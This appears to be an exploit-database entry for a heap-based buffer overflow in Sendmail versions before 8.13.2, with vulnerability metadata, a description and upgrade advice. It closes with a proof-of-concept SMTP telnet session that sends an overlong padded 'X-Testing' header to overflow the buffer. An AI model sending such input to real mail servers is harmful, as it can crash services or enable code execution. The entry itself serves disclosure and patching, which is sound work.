header-logo
Suggest Exploit
vendor:
Sendmail
by:
Unknown
7.5
CVSS
HIGH
Heap-based Buffer Overflow
122
CWE
Product Name: Sendmail
Affected Version From: Versions prior to Sendmail 8.13.2
Affected Version To:
Patch Exists: YES
Related CWE: CVE-2004-2761
CPE: a:sendmail:sendmail
Other Scripts:
Platforms Tested:
2004

Sendmail Heap-based Buffer Overflow Vulnerability

Sendmail is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer. Successfully exploiting this issue may allow an attacker to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

Mitigation:

Update to Sendmail version 8.13.2 or later.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34944/info

Sendmail is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer.

Successfully exploiting this issue may allow an attacker to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

Versions prior to Sendmail 8.13.2 are vulnerable. 

$ telnet example.com 25
Trying ...
Connected to example.com.
Escape character is '^]'.
220 example.com ESMTP Sendmail 8.12.10/8.12.10; Fri, 3 Dec 2004 12:00:59 -06
00
mail from:example@example.org
250 2.1.0 example@example.org... Sender ok
rcpt to:example@example.com
250 2.1.5 example@example.com... Recipient ok
data
354 Enter mail, end with "." on a line by itself
X-Testing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDD
DDDD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